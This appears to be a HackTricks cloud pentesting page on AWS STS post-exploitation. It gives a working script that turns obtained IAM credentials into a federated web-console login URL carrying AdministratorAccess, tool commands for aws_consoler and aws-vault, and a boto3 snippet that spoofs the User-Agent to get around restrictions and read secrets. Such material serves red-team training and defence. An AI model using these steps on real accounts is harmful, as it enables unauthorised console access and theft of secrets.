# AWS - STS Post Exploitation
{% hint style="success" %}
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{% endhint %}
## STS
For more information:
{% content-ref url="../aws-services/aws-iam-enum.md" %}
[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
{% endcontent-ref %}
### From IAM Creds to Console
If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
Note that the the user/role must have the permission **`sts:GetFederationToken`**.
#### Custom script
The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
{% code overflow="wrap" %}
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile ] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi
# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"
# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
{% endcode %}
#### aws\_consoler
You can **generate a web console link** with [https://github.com/NetSPI/aws\_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
{% hint style="warning" %}
Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
{% endhint %}
#### aws-vault
[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
```
{% hint style="info" %}
You can also use **aws-vault** to obtain an **browser console session**
{% endhint %}
### **Bypass User-Agent restrictions from Python**
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
{% code overflow="wrap" %}
```bash
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")
# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
```
{% endcode %}
{% hint style="success" %}
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Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}